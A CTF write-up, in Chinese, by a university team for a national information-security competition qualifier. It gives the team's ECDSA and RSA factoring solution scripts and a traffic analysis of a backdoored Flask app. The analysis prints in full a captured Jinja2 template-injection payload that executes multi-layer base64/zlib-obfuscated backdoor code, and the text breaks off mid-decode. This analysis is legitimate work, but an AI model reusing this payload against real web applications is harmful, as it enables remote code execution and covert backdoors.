第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up

第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛)初赛 Write Up

本文详细记录了长城杯初赛中密码学、流量分析和 AI 安全三大方向的解题过程。在密码学部分成功破解了 ECDSA 和 RSA_NestingDoll 题目;流量分析环节通过协议分析解密了 SnakeBackdoor 后门通信,提取出 RC4 密钥;AI 安全方向则利用高斯混合模型生成通过隔离森林检测的伪造交易数据。最终获取所有赛题 flag 并总结解题思路。

队伍名称:VMw@r3

学校/单位名称:暨南大学

总分:631

理论知识总分:230

排名:923

密码学

ECDSA

# 源码第 9-11 行
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order

私钥priv_int并不是随机生成的,而是由固定字符串"Welcome to this challenge!"经过SHA-512哈希计算得到的。这意味着私钥是固定的、已知的。

exp:

import hashlib
from ecdsa import NIST521p

# --- 第一步:计算私钥 ---
# 1. 准备题目中的种子字符串
seed = b"Welcome to this challenge!"

# 2. 计算 SHA-512 哈希
digest_val = hashlib.sha512(seed).digest()

# 3. 转换为整数
digest_int = int.from_bytes(digest_val, "big")

# 4. 获取 NIST521p 曲线的阶 (Order)
curve_order = NIST521p.order

# 5. 取模得到私钥 (d)
priv_int = digest_int % curve_order

print(f"[+] 算出私钥 (十进制): {priv_int}")

# --- 第二步:生成 Flag ---
# 题目要求:flag{私钥的MD5值}
# 通常情况下,指的是私钥的“十进制字符串”的 MD5
priv_str = str(priv_int) 
flag_content = hashlib.md5(priv_str.encode()).hexdigest()

print(f"[+] 最终 Flag: flag{{{flag_content}}}")
长城杯初赛 Write Up图1.png

FLAG:flag{581bdf717b780c3cd8282e5a4d50f3a0}

RSA_NestingDoll

import gmpy2
import sys
from Crypto.Util.number import long_to_bytes

# 设置递归深度,防止递归分解时报错
sys.setrecursionlimit(2000)

# ================= 题目数据 =================
n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
n = 484831124108275939341366810506193994531550055695853253298115538101629337644848848341479419438032232339003236906071864005366050185096955712484824249228197577223248353640366078747360090084446361275032026781246854700074896711976487694783856878403247312312487197243272330518861346981470353394149785086635163868023866817552387681890963052199983782800993485245670437818180617561464964987316161927118605512017355921555464359512280368738197370963036482455976503266489446554327046948670215814974461717020804892983665655107351050779151227099827044949961517305345415735355361979690945791766389892262659146088374064423340675969505766640604405056526597458482705651442368165084488267428304515239897907407899916127394598273176618290300112450670040922567688605072749116061905175316975711341960774150260004939250949738836358264952590189482518415728072191137713935386026127881564386427069721229262845412925923228235712893710368875996153516581760868562584742909664286792076869106489090142359608727406720798822550560161176676501888507397207863998129261472631954482761264406483807145805232317147769145985955267206369675711834485845321043623959730914679051434102698588945009836642922614296598336035078421463808774940679339890140690147375340294139027290793
c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629
e = 65537

# ================= 1. 准备素数表 (关键修正) =================
print("[*] Generating prime sieve...")
# 题目中 factor = getPrime(20),最大可能到 2^20 (约104万)
# 必须覆盖这个范围,否则找不到因子!
limit = 1050000 
primes = []
is_prime = [True] * (limit + 1)
for i in range(2, limit + 1):
    if is_prime[i]:
        primes.append(i)
        for j in range(i * i, limit + 1, i):
            is_prime[j] = False
print(f"[*] Found {len(primes)} primes up to {limit}.")

# ================= 2. 稳健的 Pollard p-1 分解 =================
def find_factor_pollard_p1_robust(N, primes_list):
    """
    尝试从复合数 N 中分离出一个因子。
    使用 n1 作为预乘指数,然后批量乘以小素数。
    如果批量导致 GCD=N,则进行回溯和逐个检查。
    """
    if gmpy2.is_prime(N):
        return N
        
    print(f"[*] Attempting to factor modulus of size {N.bit_length()} bits...")
    
    # 核心:利用 p-1 包含 n1 的因子的特性
    # 先计算 base = 2^n1 mod N
    g = gmpy2.powmod(2, n1, N)
    
    # 如果一开始就是 1,说明 n1 已经足够分解它了(不太可能,但如果是,说明 n1 是 lcm 的倍数)
    d_initial = gmpy2.gcd(g - 1, N)
    if 1 < d_initial < N:
        return d_initial
    if d_initial == N:
        # 极端情况:n1 直接让所有因子都变为 1
        # 这时候需要减小指数,比如不用 n1,从 2 开始慢慢乘
        print("[!] n1 is too strong initially. Restarting with base 2.")
        g = 2
    
    block_size = 200 # 批量处理大小
    
    for i in range(0, len(primes_list), block_size):
        chunk = primes_list[i : i + block_size]
        
        # 计算当前批次的乘积指数
        E_chunk = 1
        for p in chunk:
            E_chunk *= p
            
        # 尝试应用这个批次
        new_g = gmpy2.powmod(g, E_chunk, N)
        d = gmpy2.gcd(new_g - 1, N)
        
        if d == 1:
            # 还没找到,继续累积
            g = new_g
            if i % 10000 == 0 and i > 0:
                print(f"    Processed {i} primes...")
                
        elif 1 < d < N:
            # 成功找到因子!
            print(f"[+] Found factor! {d}")
            return d
            
        elif d == N:
            # 碰撞!这一批次太猛了,导致 g 变成了 1 (mod 所有因子)
            # 我们需要回退到 g (上一轮的状态),然后在这个 chunk 里逐个乘
            print(f"[!] Collision detected at chunk {i}. Drilling down single primes...")
            
            # 使用旧的 g 逐个尝试
            temp_g = g
            for single_p in chunk:
                temp_g = gmpy2.powmod(temp_g, single_p, N)
                d_single = gmpy2.gcd(temp_g - 1, N)
                if 1 < d_single < N:
                    print(f"[+] Found factor during drill-down: {d_single}")
                    return d_single
            
            # 如果跑完了还是 N (理论上不应该,除非上一步状态已经坏了),则无法挽救
            print("[-] Drill down failed. This shouldn't happen if math holds.")
            return N
            
    return N # 没找到

# 主循环分解逻辑
factors_found = []
composites = [n]

while composites:
    curr_n = composites.pop(0)
    
    # 尝试分解 curr_n
    factor = find_factor_pollard_p1_robust(curr_n, primes)
    
    if factor == curr_n:
        # 分解失败或它是素数
        if gmpy2.is_prime(curr_n):
            print(f"[+] Identified prime factor: {curr_n}")
            factors_found.append(curr_n)
        else:
            print(f"[-] Failed to decompose composite: {curr_n}")
            # 如果这里失败了,说明素数表还不够大,或者结构特殊
            # 对于这道题,1050000 limit 绝对够了
            break
    else:
        # 成功分解,将两个因子放回队列继续处理
        print(f"[+] Split successful. Adding parts to queue.")
        composites.append(factor)
        composites.append(curr_n // factor)
        
    # 如果我们已经找到了 4 个因子,检查是否都是素数
    if len(factors_found) + len(composites) == 4 and all(gmpy2.is_prime(x) for x in composites):
        factors_found.extend(composites)
        break

print(f"\n[*] Total prime factors found: {len(factors_found)}")

# ================= 3. 还原内层模数因子并解密 =================
if len(factors_found) == 4:
    print("[*] Recovering inner factors (p1, q1, r1, s1)...")
    factors_n1 = []
    
    for p_outer in factors_found:
        # p1 = GCD(p - 1, n1)
        p1 = gmpy2.gcd(p_outer - 1, n1)
        if p1 > 1:
            factors_n1.append(p1)
        else:
            print(f"[-] Error recovering p1 from {p_outer}")

    if len(factors_n1) == 4:
        print("[+] All inner factors recovered.")
        # 计算 Phi(n1)
        phi = 1
        for p in factors_n1:
            phi *= (p - 1)
          
        
        # 计算私钥 d
        try:
            d = gmpy2.invert(e, phi)
            # 解密
            m = gmpy2.powmod(c, d, n1)
            flag_padded = long_to_bytes(m)
            
            print("\n" + "="*30)
            print("[+] Decrypted Message:")
            print(flag_padded)
            try:
                print("[+] Flag:", flag_padded.decode())
            except:
                pass
            print("="*30)
        except Exception as err:
            print(f"[-] Error during decryption: {err}")
    else:
        print("[-] Could not recover all 4 inner factors.")
else:
    print("[-] Need exactly 4 factors of n to proceed.")

flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

流量分析

SnakeBackdoor-1

可以看到流量包从No.26042到No.28201一直在爆破密码。根据No.28402发生重定向到/admin/panel可知No.28397最后一次爆破成功,后台密码为zxcvbnm123

长城杯初赛 Write Up图2.png

FLAG:flag{zxcvbnm123}

SnakeBackdoor-2

过滤器筛选

http contains "SECRET_KEY" 找到唯一包体,追踪http流,查找SECRET_KEY,在一堆html中找到SECRET_KEY的值:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051

长城杯初赛 Write Up图3.png

SnakeBackdoor-3

往下找到一个可疑Payload

长城杯初赛 Write Up图4.png
{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

发现这是一段远程加载并执行恶意代码,将其中的

XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==

使用Base64解码得到

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQvMlKGi3iiBwvm6TFEvahfQE2PEj7FOccTIPI8TGqZMC+l9AoYYGeGUAMcarwSiTvBCv37ys+N185NocfmjE/fOHei4One0CL5TZwJopElJxLr9VFXvRloa5QvrjiTQKeG+SGbyZm+5zTk/V3nZ0G6Neap7Ht6nu+acxqsr/sgc6ReEFxfEe2p30Ybmyyis3uaV1p+Aj0iFvrtSsMUkhJW9V9S/tO+0/68gfyKM/yE9hf6S9eCDdQpSyLnKkDiQk97TUuKDPsOR3pQldB/Urvbtc4WA1D/9ctZAWcJ+jHJL1k+NpCyvKGVhxH8DLL7lvu+w9InU/9zt1sX/TsURV7V0xEXZNSllZMZr1kcLJhZeB8W59ymxqgqXJJYWJi2n96hKtSa2dab/F0xBuRiZbTXFIFmD6knGz/oPxePTzujPq5IWt8NZmvyM5XDg/L8JU/mC4PSvXA+gqeuDxLClzRNDHJUmvtkaLbJvbZcSg7Tgm7USeJWkCQojSi+INIEj5cN1+FFgpKRXn4gR9yp3/V79WnSeEFIO6C4hcJc4mwpk+09t1yue4+mAlbhlxnXM1Pfk+sGBmaUFE1kEjOpnfGnqsV+auOqjJgcDsivId+wHPHazt5MVs4rHRhYBOB6yXjuGYbFHi3XKWhb7AfMVvhx7F9aPjNmIiGqBU/hRFUuMqBCG+VVUVAbd5pFDTZJ3P8wUym6QAAYQvxG+ZJDRSQypOhXK/L4eFFtEziufZPSyrYPJWJlAQsDO+dli46cn1u5A5Hyqfn4vw7zSqe+VUQ/Ri/Knv0pQoWH1d9dGJwDfqmgvnKi+gNRugcfUjG73V6s/tihlt8B23KvmJzqiLPzmuhr0RFUJKZjGa73iLXT4OvlhLRaSbTT4tq/SCktGRyjLVmSj2kr0GSsqTjlL2l6c/cXKWjRMt1kMCmCCTV+aJe4npvoB99OMnKnZR4Ys526mTFToSwa5jmxBmkRYCmA82GFK7ak6bIRTfDMsWGsZvAEXv3Pfv5NRzcIFNO3tbQkeB/LIVOW5LfAkmR68/6zrL0DZoPjzFZI5VLfq0rv9CwUeJkR3PHcuj++d/lOvk8/h3HzSgYTGCwl1ujz8h4oUiPyGT74NjbY7fJ8vUHqNz+ZVfOtVw/z3RMuqSUzEAKrjcU2DNQehB0oY7xIlOT9u9BT4ROoDFo+5ZF6zVoHA4eIckXUOP3ypQv5pEYG+0pW4MyHmAQfsOaWyMdfMoqbw/M9oImdGKdKy1Wq3aq+t+xuyVdNAQMhoW2A7zQzob8XGA3G8VuoKHGOcc25HCb/FYeSxdwyIedAxklLLYMBHojTSpD1dExozdi89Gikhz3305ndTmECv0ZoUOHacnqtUUhJly7VgvX+JlawAY9orNPUmZM7QKbdOkTf/o8aQlS5Fe/xQkOMJGm4NXqLehiRIb925sTfVxwoNfP5v1MGlarYMifHl2rEp5C71ipFjpAGaEp9nRj0JgEa4lSTuYeVXwqbZQT3OfQvgt/bHJlAguqSWysGhqhITJYM6T10m71JiwfQH5iLXH5XbFk53QGcG2cAnFrWy70xEvabmf0u0ikQwpU2scP8LoEa/ClJnPSuWwicMkVLrkZGqnBvbk6JTg7HnT0vGUcV6kffIL6CK3bE1Fy0R6sl+UPoYvjkgSI3UbfD67bRxIxegBpYTzyCDzPytSE+a77sdxsghLpUC5hxz4ZeXdyIrbmhAqQw5eEnBuASE5qTMJkTp//hky+dT2pciOBYn/ACSLxprLZ0Ay1+zhl+XyV9WFL4NgBoH34bvkxH36nctszopWGPyd14RiS4d0EqNocqvtWu3YxkNgP+8fM/d/B0ikxKxh/GjkmQXaSX/B+40U4bfSbsEJpVOsTHTy6u0Nr67Sw7BvRwuVvf